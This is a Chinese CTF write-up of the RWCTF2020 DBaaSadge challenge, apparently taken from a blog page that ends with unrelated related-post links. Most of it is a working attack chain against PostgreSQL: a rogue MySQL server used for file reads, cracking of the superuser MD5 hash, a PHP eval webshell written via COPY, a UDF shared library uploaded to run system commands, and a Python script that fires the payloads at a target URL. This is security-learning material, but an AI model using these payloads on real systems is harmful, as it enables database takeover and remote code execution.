RWCTF2020 DBaaSadge 复现
数据库题目
2020RWCTF DBaaSadge WP
这是一个很有意思的题目,难到让我绝望,跟着大佬smity的思路跑一下,求大佬抱抱。
https://mp.weixin.qq.com/s/jvA5j9OPMFIPvP5267gk-Q
0x01 题目
一打开就是题目的代码直接执行,可以直接执行pg的代码,但是长度不能超过100.(本身是给了dockerfile)先进行必要的信息收集。
select version();
select user;
然后大佬说这不是10.5之前修复的那个CVE漏洞,而且那是一道pwn题,这是一个web题。然后想到的就是怎么样可以通过psql的数据库语句来进行命令执行,但是这里的用户是realuser,不是superuser用户,所以网上大部分的方法是不能够使用的。
所以到现在想到的就是,提权加上getshell,来达到命令执行的效果。
0x02 dockfile分析
其中被圈出来的是和psql有关的操作。比如说,psql -c "command"
这是命令行模式直接执行psql语句的用法。咱们再来细细的分析这个dockerfile。
1. 创建了一个没有super权限的realuser 密码是 realpass
2. 安装了dblink mysql_fdw的两个扩展
3. dblink,能够在一个数据库中操作另外一个远程的数据库。
mysql_fdw扩展则是用来在Postgre中快速访问MySQL中的数据,也就是给Postgre提供一个外界Mysql的访问方式
这里大佬想到了 rouge-mysql
,而我就是个菜鸡,数据库题目一个都不会。(这个考点在CTF中比较常见,通过让题目连接自己的mysql恶意服务器来进行任意文件读取(我怎么就没想到)
msql_fdw插件的使用:https://blog.csdn.net/bingluo8787/article/details/100958098
可以知道和直接使用mysql没有什么区别(嘻嘻
CREATE SERVER mysql_server FOREIGN DATA WRAPPER mysql_fdw OPTIONS(host'ip',port'3306');
#创建一个server
CREATE USER MAPPING FOR realuser SERVER mysql_server OPTIONS (username 'root', password 'root');
#创建链接用户名
CREATE FOREIGN TABLE test(id int) SERVER mysql_server OPTIONS (dbname 'a', table_name 'test');
select * from test;
DROP SERVER mysql_server
这样我们在vps上面挂个脚本就可以了。https://github.com/allyshka/Rogue-MySql-Server
这样就可以任意文件读取,但是有个问题,这有什么用了....dokcer都给了。下面就是继续提权了白。
下面给出3个方法
1.寻找conf文件配置中的漏洞,看能不能免密码登录superuser的账户,在UNIX平台中安装PostgreSQL之后,PostgreSQL会在UNIX系统中创建一个名为"postgres"当用户。PostgreSQL的默认用户名和数据库也是"postgres",而且这个是个superuser
2.在pg_hba.conf中如果把host配置为trust是可以进行免密登录的
3.类比mysql ,在本地寻找密码存储的文件。通过vps来读。
然后我们一个一个来验证。
首先,我们来寻找这个神奇的conf文件。
难道要成功了吗?(忘记看启动文件了。。
再见谢谢。每次docker重启就是刷新一个五位数的随机密码(记住,重点)。
验证第二条思路:
读取上面那个文件。
很明显是不能够登陆了。然后,五位数密码爆破,去死把。
最后一个思路:
既然能够读取,百度查psql的密码文件落户到本地的哪个位置,在哪个目录,我们直接读取之。
mysql里面的密码存储方式是落地的,就在data_directory变量的目录位置,那么同样的,进到docker里面通过查询一下系统变量,就可以看到postgre的密码存放位置。
然后用文件内容查找的命令
egrep -r "内容" 目录
然后使用md5在线解密或者爆破脚本使用。
这里面有历史密码。
md5爆破工具
http://c3rb3r.openwall.net/mdcrack
使用方法
http://www.91ri.org/1285.html
MDCrack-sse.exe -algorithm=MD5 --append=postgres 8997a9f1da6bbfbc2aaad2cb295a1b0b
拿到我想要的账号和密码,现在就是和上面的dblink联合在一起,来登陆这个超级用户
6k35mpostgres
select dblink_connect('host=127.0.0.1 port=5432 dbname=postgres user=postgres password=6k35m');
成功登陆。
SELECT * FROM dblink('hostaddr=127.0.0.1 user=postgres password=aaaaa', 'COPY (select $$<?=@eval($_REQUEST[1]);?>$$) to $$/var/www/html/1.php$$;') as t1(record text);
下面就是如何将上面这句长长的payload打进去了,有长度限制。。。。
如果是敏感字符的考察 ,可以用postgre的存储过程。
create OR REPLACE FUNCTION D(a INTEGER, b INTEGER) RETURNS INTEGER AS $$ SELECT a+b; $$ LANGUAGE SQL;
但是存储过程在命令行中是可以分开写的,就算是两次连接一样可以写完,但是url里面他的回车符传入到postgre后端不识别,因此他不能分开写,所以还是绕不过去100个字符的限制。因此这个方法不通。
正解:
通过子查询,将poc语句写到自己的mysql服务器,利用mysql_fdw扩展连接mysql服务器select出来。
postgre的常用命令
\c - realuser 切换用户到realuser
DROP FOREIGN TABLE a66; 丢掉外部表a66
DROP USER MAPPING FOR realuser SERVER a66_server; 去掉用户关系 对于realuser server a66
DROP SERVER a66_server;
这个地方一定一定不能因为想弄长一点,就用longtext或者其他text类型来声明这两个字段,因为当postgre从mysql查询的时候会报如下错误:
poc1="CREATE SERVER a66_server FOREIGN DATA WRAPPER mysql_fdw OPTIONS(host'IP',port'3306');"
poc2="CREATE USER MAPPING FOR realuser SERVER a66_server OPTIONS (username 'root', password 'root');"
poc3="CREATE FOREIGN TABLE a66(s text,m text) SERVER a66_server OPTIONS (dbname 'b', table_name 'b');"
poc4="SELECT * FROM dblink((select s from a66), (select m from a66)) as t9(record text);"
现在文件已经写完了,但是我们没有什么权限
开始打UDF,学习https://blog.csdn.net/qq_33020901/article/details/79032774
https://github.com/sqlmapproject/udfhack
这是sqlmap上面的udf插件。
linux换源:https://blog.csdn.net/u012308586/article/details/102953882
在makefile里面添加一行。执行make 10
编译完成之后
接下来我们需要将udf.so文件分割成每2048字节的块,最后一个块的大小不满足2048字节不需要考虑.
为什么不能小于2048?是因为在postgresql高版本处理中,如果块之间小于2048,默认会用0去填充让块达到2048字节所以上传的文件才会一直创建函数失败.
#~/usr/bin/env python 2.7
#-*- coding:utf-8 -*-
import sys
if __name__ == "__main__":
if len(sys.argv) != 2:
print "Usage:python " + sys.argv[0] + "inputfile"
sys.exit()
fileobj = open(sys.argv[1],'rb')
i = 0
for b in fileobj.read():
sys.stdout.write(r'{:02x}'.format(ord(b)))
i = i + 1
if i % 2048 == 0:
print "\n"
fileobj.close()
SELECT lo_create(12345);
INSERT INTO pg_largeobject VALUES (12345, 0, decode('7f454c4...0000', 'hex'));
INSERT INTO pg_largeobject VALUES (12345, 1, decode('0000000...0000', 'hex'));
INSERT INTO pg_largeobject VALUES (12345, 2, decode('f604000...0000', 'hex'));
INSERT INTO pg_largeobject VALUES (12345, 3, decode('0000000...7400', 'hex'));
SELECT lo_export(12345, '/tmp/testeval.so');
SELECT lo_unlink(12345);
insert into b (s,m) value('hostaddr=127.0.0.1 user=postgres password=25j53',"CREATE OR REPLACE FUNCTION sys_eval(text) RETURNS text AS '/tmp/testeval.so', 'sys_eval' LANGUAGE C RETURNS NULL ON NULL INPUT IMMUTABLE;select sys_eval('/readflag');");
在将hex数据插入之后,运行一次poc,然后再将下面这个插入,再运行一次命令即可。
下面脚本的使用条件:
vps上面开启mysql服务3306端口 账号admin 密码123456
有数据库b b里有
表a 里面 s字段是 存储链接ps数据库super的host和端口和账号和密码
m字段是 命令执行readflag
表b 里面 s字段同上
m字段是 so文件的加载
听说命令执行有更好的方式不使用udf;
import requests
import hashlib
import random
import uuid
url ="http://192.168.72.89:60080/?sql="
#填你的IP
ip="42.192.142.64"
port="3306"
server_name="aaaa"
dbname=server_name
Table_name=server_name
'''
任意文件的poc
poc1="CREATE SERVER "+server_name+" FOREIGN DATA WRAPPER mysql_fdw OPTIONS(host'"+ip+"',port'"+port+"');"
poc2里填写你自己mysql的用户名密码
poc2="CREATE USER MAPPING FOR realuser SERVER "+server_name+" OPTIONS (username 'root', password 'root');"
poc3="CREATE FOREIGN TABLE "+Table_name+"(id int) SERVER "+server_name+" OPTIONS (dbname '"+dbname+"', table_name '"+Table_name+"');"
poc4="select * from "+Table_name+";"
poc5="DROP SERVER "+server_name
'''
'''
#插入数据
poc1="CREATE SERVER a66_server FOREIGN DATA WRAPPER mysql_fdw OPTIONS(host'ip ',port'3306');"
poc2="CREATE USER MAPPING FOR realuser SERVER a66_server OPTIONS (username 'admin', password '123456');"
poc3="CREATE FOREIGN TABLE a66(s text,m text) SERVER a66_server OPTIONS (dbname 'b', table_name 'b');"
poc4="SELECT * FROM dblink((select s from a66), (select m from a66)) as t9(record text);"
#poc4 = "select dblink_connect((select s from a66),(select m from a66));"
poc5="DROP FOREIGN TABLE a66;"
poc6="DROP USER MAPPING FOR realuser SERVER a66_server;"
poc7 = "DROP SERVER a66_server;"
'''
poc1="CREATE SERVER a66_server FOREIGN DATA WRAPPER mysql_fdw OPTIONS(host'42.192.142.64 ',port'3306');"
poc2="CREATE USER MAPPING FOR realuser SERVER a66_server OPTIONS (username 'admin', password 'q79475432');"
poc3="CREATE FOREIGN TABLE a66(s text,m text) SERVER a66_server OPTIONS (dbname 'b', table_name 'b');"
poc8="CREATE FOREIGN TABLE a67(s text,m text) SERVER a66_server OPTIONS (dbname 'b', table_name 'a');"
poc9="SELECT * FROM dblink((select s from a67), (select m from a67)) as t10(record text);"
poc4="SELECT * FROM dblink((select s from a66), (select m from a66)) as t9(record text);"
poc5="DROP FOREIGN TABLE a66;DROP FOREIGN TABLE a67;"
poc6="DROP USER MAPPING FOR realuser SERVER a66_server;"
poc7="DROP SERVER a66_server;"
r1=requests.get(url+poc1)
print(r1.text)
r2=requests.get(url+poc2)
print(r2.text)
r3=requests.get(url+poc3)
print(r3.text)
r4=requests.get(url+poc4)
print(r4.text)
r8=requests.get(url+poc8)
print(r8.text)
r9=requests.get(url+poc9)
print(r9.text)
r5=requests.get(url+poc5)
print(r5.text)
r6=requests.get(url+poc6)
print(r6.text)
r7=requests.get(url+poc7)
print(r7.text)
RWCTF2020 DBaaSadge 复现的更多相关文章
- C++复现经典游戏——扫雷
国庆小长假,当大家都去看人山人海的时候,我独自一人狂码代码.这两天想要实现的内容是Windows上的一个经典游戏——扫雷.相信90后和一些上班族对此并不陌生.然而,从win8开始,扫雷就不再是Wind ...
- [troubleshoot][archlinux][X] plasma(KDE) 窗口滚动刷新冻结(约延迟10s)(已解决,root cause不明,无法再次复现)
现象: konsole,setting等plasma的系统应用反应缓慢,在滚动条滚动时,尤为明显. 触发条件: 并不是十分明确的系统滚动升级(Syu)后,产生. 现象收集: 可疑的dmesg [ :: ...
- 时空上下文视觉跟踪(STC)算法的解读与代码复现(转)
时空上下文视觉跟踪(STC)算法的解读与代码复现 zouxy09@qq.com http://blog.csdn.net/zouxy09 本博文主要是关注一篇视觉跟踪的论文.这篇论文是Kaihua Z ...
- ShadowBroker释放的NSA工具中Esteemaudit漏洞复现过程
没有时间测试呢,朋友们都成功复现,放上网盘地址:https://github.com/x0rz/EQGRP 近日臭名昭著的方程式组织工具包再次被公开,TheShadowBrokers在steemit. ...
- CVE-2017-8464远程命令执行漏洞(震网漏洞)复现
前言 2017年6月13日,微软官方发布编号为CVE-2017-8464的漏洞公告,官方介绍Windows系统在解析快捷方式时存在远程执行任意代码的高危漏洞,黑客可以通过U盘.网络共享等途径触发漏洞, ...
- Samba远程代码执行漏洞(CVE-2017-7494)本地复现
一.复现环境搭建 搭建Debian和kali两个虚拟机: 攻击机:kali (192.168.217.162): 靶机:debian (192.168.217.150). 二.Debian安装并配置s ...
- Office远程代码执行漏洞CVE-2017-0199复现
在刚刚结束的BlackHat2017黑帽大会上,最佳客户端安全漏洞奖颁给了CVE-2017-0199漏洞,这个漏洞是Office系列办公软件中的一个逻辑漏洞,和常规的内存破坏型漏洞不同,这类漏洞无需复 ...
- Node.js CVE-2017-1484复现(详细步骤)
0x00 前言 早上看Sec-news安全文摘的时候,发现腾讯安全应急响应中心发表了一篇文章,Node.js CVE-2017-14849 漏洞分析(https://security.tencent. ...
- 【S2-052】漏洞复现(CVE-2017-9805)
一.漏洞描述 Struts2 的REST插件,如果带有XStream组件,那么在进行反序列化XML请求时,存在未对数据内容进行有效验证的安全隐患,可能发生远程命令执行. 二.受影响版本 Struts2 ...
随机推荐
- Springboot mini - Solon详解(八)- Solon的缓存框架使用和定制
Springboot min -Solon 详解系列文章: Springboot mini - Solon详解(一)- 快速入门 Springboot mini - Solon详解(二)- Solon ...
- 「 洛谷 」P4539 [SCOI2006]zh_tree
小兔的话 推荐 小兔的CSDN [SCOI2006]zh_tree 题目限制 内存限制:250.00MB 时间限制:1.00s 标准输入输出 题目知识点 思维 动态规划 \(dp\) 区间\(dp\) ...
- virtualbox sharefolder mount fail
ubuntu 14.04.1 LTS 64bit 安装完GuestAdditions后,在终端输入 sudo mount -t vboxsf sharename /mnt/share 提示错误:mou ...
- BUUCTF | [网鼎杯 2020 朱雀组]phpweb
一道比较简单的题,不过对PHP还是不够熟悉 知识点 1.PHP date函数 PHP date() 函数用于对日期或时间进行格式化. 语法 date(format,timestamp) 参数 描述 f ...
- javaScript继承的几种实现方式?
js继承总共分成5种,包括构造函数式继承.原型链式继承.组合式继承.寄生式继承和寄生组合式继承. 构造函数式继承 首先来看第一种,构造函数式继承,顾名思义,也就是利用函数去实现继承:构造函数继承,使用 ...
- 写一个简单的HTML留言板
最近有点懒,没码什么字,防止遗忘,从头开始码,写一个简单的HTML留言板.包含两个文件,book.html还有style.css,放在同一目录下. book.html 1 <!DOCTYPE h ...
- Maven大全
Maven 命令 mvn clean compile -Dmaven.test.skip=true 编译代码,检查代码安全性 Maven 注解 用maven管理库依赖,有个好处就是连同库的依赖的全部j ...
- JavaSwing 船只停靠管理可视化(三)
JavaSwing 船只停靠管理可视化(一) JavaSwing 船只停靠管理可视化(二) JavaSwing 船只停靠管理可视化(三) JavaSwing 船只停靠管理可视化(四) JavaSwin ...
- 记一次MAVEN依赖事故
笔者昨天遇到的背景是这样的 MAVEN A模块有一个子模块 需要依赖B模块下的一个子模块 我在B项目内通过mvn deploy上传子模块 但之后在A模块引用 怎么引用都不行 提示 org.a ...
- UNION An Unreferenced Metric for Evaluating Open-ended Story Generation精读
UNION An Unreferenced Metric for Evaluating Open-ended Story Generation精读 UNION: 一种评估开放故事生成无参考文本依赖me ...